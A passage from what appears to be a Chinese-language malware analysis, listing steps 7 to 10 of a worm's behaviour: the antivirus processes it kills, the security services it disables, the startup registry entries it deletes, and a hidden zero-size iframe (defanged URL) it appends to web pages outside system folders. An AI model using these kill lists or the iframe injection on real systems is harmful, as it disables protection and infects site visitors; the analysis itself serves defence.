statusbar32 pjf(ustc) IceSword 7.尝试结束安全软件相关进程以及Viking病毒(威金病毒)进程: Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exe scan32.exe Ravmond.exe CCenter.exe RavTask.exe Rav.exe Ravmon.exe RavmonD.exe RavStub.exe KVXP.kxp KvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exe TrojDie.kxp FrogAgent.exe Logo1_.exe Logo_1.exe Rundl132.exe
8.禁用安全软件相关服务: Schedule sharedaccess RsCCenter RsRavMon KVWSC KVSrvXP kavsvc AVP McAfeeFramework McShield McTaskManager navapsvc wscsvc KPfwSvc SNDSrvc ccProxy ccEvtMgr ccSetMgr SPBBCSvc Symantec Core LC NPFMntor MskService FireSvc 9.删除安全软件相关启动项: SOFTWAREMicrosoftWindowsCurrentVersionRunRavTask SOFTWAREMicrosoftWindowsCurrentVersionRunKvMonXP SOFTWAREMicrosoftWindowsCurrentVersionRunkav SOFTWAREMicrosoftWindowsCurrentVersionRunKAVPersonal50 SOFTWAREMicrosoftWindowsCurrentVersionRunMcAfeeUpdaterUI SOFTWAREMicrosoftWindowsCurrentVersionRunNetwork Associates Error Reporting Service SOFTWAREMicrosoftWindowsCurrentVersionRunShStatEXE SOFTWAREMicrosoftWindowsCurrentVersionRunYLive.exe SOFTWAREMicrosoftWindowsCurrentVersionRunyassistse 10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件,在这些文件尾部追加信息: <iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe> 但不修改以下目录中的网页文件: C:WINDOWS C:WINNT C:system32 C:Documents and Settings C:System Volume Information C:Recycled Program FilesWindows NT Program FilesWindowsUpdate Program FilesWindows Media Player Program FilesOutlook Express Program FilesInternet Explorer Program FilesNetMeeting Program FilesCommon Files Program FilesComPlus Applications Program FilesMessenger Program FilesInstallShield Installation Information Program FilesMSN Program FilesMicrosoft Frontpage Program FilesMovie Maker Program FilesMSN Gamin Zone
上一页 [1] [2] [3] [4] [5] [6] 下一页
|